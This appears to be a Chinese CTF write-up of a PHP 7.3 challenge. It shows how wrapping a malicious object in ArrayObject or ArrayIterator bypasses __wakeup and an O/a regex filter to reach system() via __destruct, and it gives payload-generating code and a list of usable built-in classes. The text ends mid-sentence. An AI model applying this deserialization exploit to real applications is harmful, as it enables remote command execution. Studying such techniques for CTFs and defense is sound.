Web题里没啥好讲的,唯一一题就是个小0day,就记录这一题
比较崭新的考点,其实也不是0day了。。。就是个新trick罢了
easy_php
考点:PHP7.3 __wakeup绕过,ArrayObject内置类
众所周知可以使用C进行绕过wakeup,但这样有一个缺点,就是你把O改为C后是没办法有属性的,那假如需要用属性命令执行就不行了QWQ
这种情况我们可以用内置类ArrayObject,这个内置类序列化结果如下
1 2 3
| $arr=array("a"=>1,"b"=>2); $ao=new ArrayObject($arr); echo serialize($ao);
|
可以看到是C开头的,既然是C开头的,假如我们遇到了这样的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php error_reporting(0); highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){ die("not allowed!"); }
public function __destruct(){ system($this->ctfshow); }
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){ unserialize($data); }
?>
|
这个题目很明显就是要执行system方法,然后不可以以O\a
打头,假如不ban掉a的话,我们可以在a数组里面放上我们的恶意对象,也可以反序列化,但是这里都去掉了,所以回到上面说的那个ArrayObject,他是C开头的,并且可以绕过O,然后还可以带属性反序列化,符合条件,因此可以构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class ctfshow { public $ctfshow;
public function __wakeup(){ die("not allowed!"); }
public function __destruct(){ echo "OK"; system($this->ctfshow); }
} $a=new ctfshow; $a->ctfshow="whoami"; $arr=array("evil"=>$a); $oa=new ArrayObject($arr); $res=serialize($oa); echo $res;
?>
|
赛后思考
还有什么其他的方法可以绕过吗?我们可以通过如下脚本找一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php $classes = get_declared_classes();foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'unserialize',
))) {
print $class . '::' . $method . "\n";
}
}}
|
结果如下,注意到了还有ArrayIterator,实现了unserialize接口的大概率是C打头,因此在这几个类中寻找!
测试发现ArrayIterrator是可以的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
class ctfshow { public $ctfshow;
public function __wakeup(){ die("not allowed!"); }
public function __destruct(){ echo "OK"; system($this->ctfshow); }
} $a=new ctfshow; $a->ctfshow="cat /f*"; $arr=array("evil"=>$a); $oa=new ArrayIterator($arr); $res=serialize($oa); echo $res;
?>
|
总结
经过所有测试发现可以用的类为:
- ArrayObject::unserialize
- ArrayIterator::unserialize
- RecursiveArrayIterator::unserialize
- SplObjectStorage::unserialize
其中SplObjectStorage需要注意一下:
利用情况是可以自己给他加上一条